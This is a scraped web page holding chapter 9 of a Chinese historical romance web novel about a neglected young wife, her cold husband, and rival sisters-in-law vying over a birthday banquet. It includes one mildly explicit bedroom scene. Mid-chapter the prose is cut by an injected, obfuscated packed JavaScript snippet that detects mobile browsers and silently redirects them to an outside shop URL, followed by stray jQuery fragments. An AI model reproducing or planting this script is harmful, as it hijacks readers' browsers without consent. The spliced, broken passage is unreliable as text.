默认冷灰
24号文字
方正启体

9. 第九章

作者:二十天明本书字数:K更新时间:
    许是喝酒了,沈谏渊平日那双清润的眼睛此刻也泛着一片薄红,他说,“母亲同我说过这事,说是表妹生辰,送她做了礼。”


    他果真知道?


    但听到他说是袁氏送给施兰仪的生辰礼,李锦絮心里面一下也没那么难受了,袁氏嘛......她很疼这个外甥女,给她送东西,也不稀奇,她想,只要不是沈谏渊送的就行,不是他送的,也没那么叫人不舒服。


    这口气才松没有多久,就听沈谏渊又道:“不过是一件衣服罢了,值得哭吗。”


    沈谏渊从小到大穿金戴银,他什么好东西没用过,什么好衣服没穿过,这些东西对他来说就是再寻常不过的身外之物,所以他或许永远不会知道真的有人会因为一件衣服而去落泪。


    人这一生能为许多的东西掉眼泪,可是一件衣服,那是万万不能的。


    他也不会知道李锦絮今日受了什么委屈,见她眼睛红了,想的却是,今日她和傅知恒都在陈家,她是因为一件不值得的衣服而哭,又还是为谁而哭?


    这话是反问,可落在李锦絮的耳朵里面,就不是那么一回事了。


    不就是一件衣服吗,也值得她这样子哭?


    李锦絮那口气才泄出去没一会,马上又重新堵住了,她抓着他衣带的手指,紧了又紧,指尖泛白,好久没有动作。


    不知是过了很久,她才重复了一遍沈谏渊的话,“嗯,不过是一件衣服罢了。”


    不值得。


    两人没有继续就这事说下去,李锦絮怕再说下去,会叫他怄死,她让人给他放好了热水,沈谏渊便进去净身了。


    她被沈谏渊弄得有些没胃口,但肚子却又发出咕噜的叫声,看着眼前渐凉的饭菜,她最后还是拿起碗吃了起来。


    她一口一口吃着,味同嚼蜡,再好的饭菜不知怎么都没了味道。


    可再吃不下去,也将就吃点吧,把自己饿着了,谁又能高兴?她又不是沈谏渊,有个是非好歹,一堆人来关心她的死活。


    她不敢再将那些事情放在心上,毕竟再想下去,迟早要叫自己愤不欲生,她将饭连带着衣服的委屈一起咽进了肚子里面,今日的这桩事,似也就这样过去了。


    沈谏渊从净室之中出来,身上带着些水汽,酒的味道已经散了个大半,李锦絮已经从外间用完膳,回了里屋,她看着沈谏渊道:“你今日也饮酒了吧,我让下人做了解酒汤,一会便好了。”


    沈谏渊发现,李锦絮似乎什么事情都不会放在心上,不管什么事情,都是这幅没心没肺的样子。


    从前觉得她这样温顺也好,可如今又觉得哪里不大对劲,可哪里不大对,却又察觉不出来。


    李锦絮说完了这话之后,便扭头出去,也想去净身,可才转身,却被沈谏渊拽住了手腕,他只稍稍用力,她便被带了过去。


    沈谏渊带着她去了床上,李锦絮头一次推拒了他,她想说自己还没净身,先净身吧。


    然而瞥过眼去,撞见了他那有些猩红的眼,口中的话最后还是没有说出口,她伸手环上了他的脖颈,没有拒绝。


    他要,她也没法拒绝。


    李锦絮觉得今夜的沈谏渊同平日不大一样。


    屋中的灯还没有熄掉,李锦絮看着沈谏渊,他下颌绷成一条线,平日那张不近人情的脸,此刻同她贴得那样近,觉得今夜的他格外有些凶,她的唇瓣蹭了蹭他的下颌,那双染了雾气的眼睛正直勾勾看着他,道:“轻些啊,郎君。”


    沈谏渊眼中几乎都是她那片雪白的肌肤,他的呼吸重了重,沉默着没有应声。


    夜越来越沉,两人交叠的身影被跳动的火光折射,倒映在了墙上,一室旖旎,直到过去许久才终于静了下来。


    李锦絮并无什么动作,但还是累得不顺气,眼角不自觉留下了一小滴泪,沈谏渊有些怔,伸手去摸她的泪,“疼了?”


    李锦絮的瞳孔渐渐聚回了神,她摇头,说,“不疼。”


    沈谏渊没有多说,将她抱起去了净室净身,从里头出来后,有两碗汤送了过来,一碗是沈谏渊的醒酒汤,另一碗是李锦絮的助育汤。


    喝过药后,李锦絮窝进了床里,整个人蜷缩在最里面,身上盖着被子,从背后看去,一小团,带着说不出的脆弱。


    熄了灯后,沈谏渊上了榻,从背后抱了上去,主动将她揽进了怀中,他的动作有些僵硬,许是从前都是李锦絮主动来抱她,这还是他第一回主动做这样的事。


    李锦絮没有动作,任他这样抱着,许是不习惯,也有些僵,可是,她今日有些累,也没其余的动作,没一会就睡了过去。


    她夜里喝了药下去,晚上起了夜,许是起完夜之后太困了,一下摸不到床在哪里,走到了哪里躺到哪里。


    沈谏渊觉浅,她起身的时候带醒了他。


    他等了一会,发现人出去了之后却再没回来,心下一跳,人也清醒了一些。


    不知李锦絮大半夜是往哪里去,起身去寻人,最后在贵妃榻上发现熟睡的人。


    他将人抱回床上,问她怎么跑那边去了?


    李锦絮迷迷蒙蒙回他,说是药喝多了,起夜了。


    沈谏渊说,“你又何必如此呢。”


    李锦絮喃喃说,“要是有个孩子就好了。”


    是不是生个孩子出来,她的日子也会越来越好过?她也不会再因为一件衣服而难受成这样呢。


    她说完这话,又皱着眉头重新睡懵了过去。


    沈谏渊并不知她在想些什么,只是想她何必如此执拗固执,他不急,也没有纳妾的心思,她何必将自己折腾成这样。


    他借着后半夜的月光,好像看到了她紧皱的眉头,心中这样想着,最后却是伸手抚了抚她的眉心,将她的眉头揉开了,才又重新睡了过去。


    *


    这事就如此过去了,李锦絮并未曾放在心上,翌日起过身后,她去给袁氏请安,却在请安那处碰到了二房三房的人。


    二夫人和三夫人以及董颖琼和简巧云这四人都在。


    袁氏今日没有晾着她,这会也已经坐在外边了。


    李锦絮心下一跳,见这么大个阵仗,也不知是做何?


    她同这些人见了礼,便坐下来。


    她们那几个人说着话,李锦絮低着脑袋,不敢抬头和她们其中的某一个对视,生怕被牵扯了进去,这些人平日说话冷言热语,被扯了过去,自己遭殃。


    她听了一会,听出来了,她们聚在一起,是在说陆老夫人七月二十的诞辰。


    沈谏渊的祖母,也就是陆家的老夫人今年六十大寿,府中上下都颇为重视,那些人私底下讨老夫人开心,百寿福怕是都已经绣好了一半。


    为老夫人置办贺寿的新衣,还要装点厅堂,再有请戏班子上门,邀请堂客等等,这都得早些安排了明白,这么大一桩事,叫一个人全揽过去,容易出错,出了错,还要三个儿媳一起担待,做婆婆的过生辰,若是做得不好,他们底下几个儿媳是要遭人闲话的。


    三房的人也最好是凑合在一起商量个明白,这便提前一月开始准备。


    那三位夫人差不多商量好了事情,最后说到了后厨的事,那日的席面,谁来负责?


    这席面能讲究的地方就比其他地方多得多了,后厨里的油水最为丰厚,只要有心人之人想,就能捞出个大半的银钱,二房三房的人早盯了这处地方,她们事先商量好了,这次要从袁氏手上抢了这门差事过来。


    然而话说了一大堆,理由也寻了一大堆,却见袁氏淡淡瞥了一眼董颖琼和简巧云。


    那两人心下一跳,果不其然听到袁氏牵了旧账出来,她道:“兹事体大,可由不得她们胡来,还是算了吧。”


    董颖琼和简巧云就知她要扯从前的事,心下暗恼,却不约而同看向了李锦絮,眼神中有些愤恨。


    这事缘何如此,还要从半年前说起。


    那时正逢冬至祭祖,族中人皆要去祠堂祭拜先祖,祭祀前,要先在祠堂中供奉好三牲糕点,袁氏让李锦絮传话,吩咐下人办好。


    李锦絮听了应是,而后就去叮嘱下人。


    这时董氏和简氏就凑到了她的跟前,同她道:“祭拜用的太牢我们早已为你准备好了,让下人抬进去就好了。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341118|199329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    说完这话之后,一人一边,半架着她离开了这里。


    三牲是指牛、羊、猪,一般人家祭祖也只能用小牛,沈家是大族,能用全牛。


    若是没有前事在先,李锦絮还觉得面前这两个笑吟吟的人是好心,不说她以貌取人,就说董颖琼长得这老实样,她也实在没想过她会害她。


    可她从前不长心眼,已经被她们明里暗里坑过几回了,而且这祭祖是大事,她若是再出错,不说袁氏要骂她,其他人一人一个眼刀,她都要被凌迟而死。


    听这两人说已经为她备好了太牢,她心中生疑,面上应下将那两人哄走,转头借口更衣得了空隙,让人赶紧去喊了袁氏往祠堂这处来。


    袁氏来了之后,先是骂了她一通,说她一点简单的小事都办不好,李锦絮缩头缩脑挨了她的训斥,又带她进了祠堂中,看向刚抬进来的三牲。


    这才发现,猪头断了半截拉子,一旁的寿桃也裂开了。


    祭祀用的三牲需全须全尾,身上连裂横都不能有,再说寿桃,也需完完整整绝对不能有开裂,否则会被视为破相气散,这断头裂桃,不管哪一桩哪一件,都是晦气至极的事,在这样的人家里出这种事,接下来一年的不祥都有可能被归结为此次祭祖。


    袁氏眼看李锦絮将事情办成这样,抬手就想要掌掴她,李锦絮躲了一下,没挨着,看袁氏气得怒目圆瞪,马上道:“母亲,是大嫂和弟妹说将东西抬进来的!她们说替我喊人抬。”


    袁氏听到那两个人,也明白过来了一些,不是李锦絮笨手笨脚,是二房和三房的人想害她?


    她眯着眼睛道:“董氏,简氏?”


    “嗯。”


    李锦絮又马上接着道:“后厨里面有备着的整猪,我已让人重新抬了过来,寿桃我也早已重新吩咐人蒸了,这会应当好了。”


    这夜祭祀之后,袁氏马上去寻了二房三房的麻烦,她先是找出了做手脚划猪的下人,发现确是简巧云指使,她狠狠将简氏罚了一通,至于董颖琼,也少不得挨训。


    那是李锦絮头一次和人玩弄心眼,使劲浑解数才惹得那两人忌惮了她一些。


    李锦絮曾被邻居家的顽童欺负,她打不过那个傻大个,只敢一个人偷偷躲起来哭,后来是姐姐带着人上门将他揍了回去,回家后,她教导她,软柿子好捏,大家都喜欢捏,若是谁欺负了你,你必须要将人欺负回去,告诉他们就算是软柿子,捏破了后也会粘手恶心。


    爹娘宠爱她,很少教她这样的大道理,李锦絮年幼时候懂得的许多事,都是李锦蝉教的。


    自此,再有什么事,袁氏都记着当年那一遭,偶尔将这老黄历拿出来翻。


    这会他们说起了宴席一事,袁氏绝不会叫那两人得逞,就差旧事重提,言语之中也全是对那她们的不信任。


    李锦絮回了神来,才发现另外那几个人都在盯着她看,袁氏问她,“席面你来操持,可以吧?”


    说实在,给谁办袁氏都不放心,二房三房的人不用说了,心眼比马蜂窝都多,可自己操持却又嫌麻烦,她这个年纪,媳妇熬成婆,按理来说早该享清福了。


    如今看来,李锦絮虽蠢笨,但比旁人好拿捏,她整日被她教训,应当是不敢做出什么不合规矩的事。


    李锦絮听到袁氏的话后,想了想后,认真点头,她道:“我可以的。”


    若她想在这个家渐渐站稳脚跟,想当好不被人欺负的小侯夫人,这些事情,她没法子去说些不行,她只能行。


    从袁氏这里回去,已经快是中午,她用过午膳之后,就开始准备袁氏交代的事了,这事该怎么来,就怎么老老实实来,她还没那么不清醒,就算偷也只敢悄摸偷沈谏渊的钱,府上的钱她可不敢动的。


    吉月看她忙,给她做了一些冰酿当零嘴,她忙这些东西的时候,嘴巴闲不住。


    待忙完了事情,不知不觉间天已经黑了,一碗冰酿断断续续用得差不多,沈谏渊也从外面回来了。


    两人从昨夜开始气氛就有些古怪,李锦絮沉浸在手头的事情中,抬眼看到他回来,脸上表情竟遮掩不住,有一瞬的凝固。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)